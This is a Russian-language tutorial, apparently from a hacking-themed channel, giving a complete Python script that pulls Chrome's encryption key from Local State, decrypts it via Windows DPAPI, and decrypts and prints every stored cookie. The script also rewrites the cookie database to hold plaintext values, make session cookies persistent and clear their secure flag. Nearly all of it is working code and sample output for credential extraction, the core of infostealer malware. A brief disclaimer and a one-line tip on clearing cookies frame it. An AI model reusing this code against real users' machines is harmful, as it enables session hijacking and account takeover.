Как извлечь файлы cookie Chrome в Python

Как извлечь файлы cookie Chrome в Python

True Hack

True Hack - не забудь подписаться на канал, чтоб не пропустить новые статьи!

И так, приступим!
Мы не призываем вас к каким-либо действиям, статья написана исключительно в ознакомительных целях, чтобы уберечь читателя от противоправных действий.

Как вы, возможно, уже знаете, браузер Chrome сохраняет много данных о просмотре локально на вашем компьютере. Одним из интересных хранимых данных являются файлы cookie. Однако большинство значений файлов cookie зашифрованы.

В этом уроке вы узнаете, как извлечь файлы cookie Chrome и расшифровать их как werll на вашем компьютере с Windows с помощью Python.

Для начала давайте установим необходимые библиотеки:

$ pip3 install pycryptodome pypiwin32

Откройте новый файл Python и импортируйте необходимые модули:

import os
import json
import base64
import sqlite3
import shutil
from datetime import datetime, timedelta
import win32crypt # pip install pypiwin32
from Crypto.Cipher import AES # pip install pycryptodome

Ниже приведены две удобные функции, которые помогут нам позже извлечь файлы cookie (взятые из учебника chrome password extractor):

def get_chrome_datetime(chromedate):
    """Return a `datetime.datetime` object from a chrome format datetime
    Since `chromedate` is formatted as the number of microseconds since January, 1601"""
    if chromedate != 86400000000 and chromedate:
        try:
            return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
        except Exception as e:
            print(f"Error: {e}, chromedate: {chromedate}")
            return chromedate
    else:
        return ""

def get_encryption_key():
    local_state_path = os.path.join(os.environ["USERPROFILE"],
                                    "AppData", "Local", "Google", "Chrome",
                                    "User Data", "Local State")
    with open(local_state_path, "r", encoding="utf-8") as f:
        local_state = f.read()
        local_state = json.loads(local_state)

    # decode the encryption key from Base64
    key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    # remove 'DPAPI' str
    key = key[5:]
    # return decrypted key that was originally encrypted
    # using a session key derived from current user's logon credentials
    # doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
    return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]

get_chrome_datetime() функция преобразует даты формата chrome в формат Python datetime.

get_encryption_key() извлекает и декодирует ключ AES, который был использован для шифрования файлов cookie, он хранится в "%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Local State"файле в формате JSON.

def decrypt_data(data, key):
    try:
        # get the initialization vector
        iv = data[3:15]
        data = data[15:]
        # generate cipher
        cipher = AES.new(key, AES.MODE_GCM, iv)
        # decrypt password
        return cipher.decrypt(data)[:-16].decode()
    except:
        try:
            return str(win32crypt.CryptUnprotectData(data, None, None, None, 0)[1])
        except:
            # not supported
            return ""

Выше функция принимает данные и ключ AES в качестве параметров и использует ключ для расшифровки данных, чтобы вернуть его.

Теперь, когда у нас есть все, что нам нужно, давайте погрузимся в основную функцию:

def main():
    # local sqlite Chrome cookie database path
    db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
                            "Google", "Chrome", "User Data", "default", "Cookies")
    # copy the file to current directory
    # as the database will be locked if chrome is currently open
    filename = "Cookies.db"
    if not os.path.isfile(filename):
        # copy file when does not exist in the current directory
        shutil.copyfile(db_path, filename)

Файл, содержащий данные cookie, расположен, как определено в переменной db_path, нам нужно скопировать его в текущий каталог, так как база данных будет заблокирована, когда браузер Chrome в настоящее время открыт.

Подключение к базе данных sqlite:

    # connect to the database
    db = sqlite3.connect(filename)
    cursor = db.cursor()
    # get the cookies from `cookies` table
    cursor.execute("""
    SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value 
    FROM cookies""")
    # you can also search by domain, e.g thepythoncode.com
    # cursor.execute("""
    # SELECT host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value
    # FROM cookies
    # WHERE host_key like '%thepythoncode.com%'""")

После подключения к базе данных мы просто запрашиваем таблицу cookie с cursor.execute()функцией, чтобы получить все файлы cookie, хранящиеся в этом файле. Вы также можете фильтровать файлы cookie по доменному имени, как показано в прокомментированном коде.

Теперь давайте возьмем ключ AES переберем строки таблицы cookies и расшифруем все зашифрованные данные:

    # get the AES key
    key = get_encryption_key()
    for host_key, name, value, creation_utc, last_access_utc, expires_utc, encrypted_value in cursor.fetchall():
        if not value:
            decrypted_value = decrypt_data(encrypted_value, key)
        else:
            # already decrypted
            decrypted_value = value
        print(f"""
        Host: {host_key}
        Cookie name: {name}
        Cookie value (decrypted): {decrypted_value}
        Creation datetime (UTC): {get_chrome_datetime(creation_utc)}
        Last access datetime (UTC): {get_chrome_datetime(last_access_utc)}
        Expires datetime (UTC): {get_chrome_datetime(expires_utc)}
        ===============================================================
        """)
        # update the cookies table with the decrypted value
        # and make session cookie persistent
        cursor.execute("""
        UPDATE cookies SET value = ?, has_expires = 1, expires_utc = 99999999999999999, is_persistent = 1, is_secure = 0
        WHERE host_key = ?
        AND name = ?""", (decrypted_value, host_key, name))
    # commit changes
    db.commit()
    # close connection
    db.close()

Мы используем нашу ранее определенную decrypt_data()функцию для расшифровки encrypted_valueстолбца, печатаем результаты и устанавливаем valueстолбец на расшифрованные данные. Мы также делаем файл cookie постоянным, устанавливая значение is_persistentto1, а также is_secureto0, чтобы указать, что он больше не зашифрован.

Наконец, давайте вызовем основную функцию:

if __name__ == "__main__":
    main()

После того, как вы выполните сценарий, он напечатает все файлы cookie, хранящиеся в вашем браузере Chrome, включая зашифрованные, вот пример результатов:

        ===============================================================
        Host: www.example.com
        Cookie name: _fakecookiename
        Cookie value (decrypted): jLzIxkuEGJbygTHWAsNQRXUaieDFplZP
        Creation datetime (UTC): 2021-01-16 04:52:35.794367
        Last access datetime (UTC): 2021-03-21 10:05:41.312598
        Expires datetime (UTC): 2022-03-21 09:55:48.758558
        ===============================================================
...

Вывод

Потрясающе, теперь вы знаете, как извлечь файлы cookie Chrome и использовать их в Python.

Чтобы защитить себя от этого, мы можем просто очистить все файлы cookie в браузере Chrome или использовать DELETEкоманду на SQL в исходном файле Cookie для удаления файлов cookie.

Другим альтернативным решением является использование режима Icognito. В этом случае браузер Chrome не сохраняет историю просмотра, файлы cookie, данные сайта или любую информацию, введенную пользователями.

Однако стоит отметить, что если вы хотите использовать свои куки в Python напрямую, не извлекая их, как мы сделали здесь, есть классная библиотека, которая поможет вам это сделать.


Buratinopol - хакинг, кибербезопасность, приватность, анонимность

SOFTWARE — хранилище приватных софтов и прочей годноты. Подпишись!

CODING — программирование доступным языком.

Termux - one — гайды и статьи по Termux.

Report Page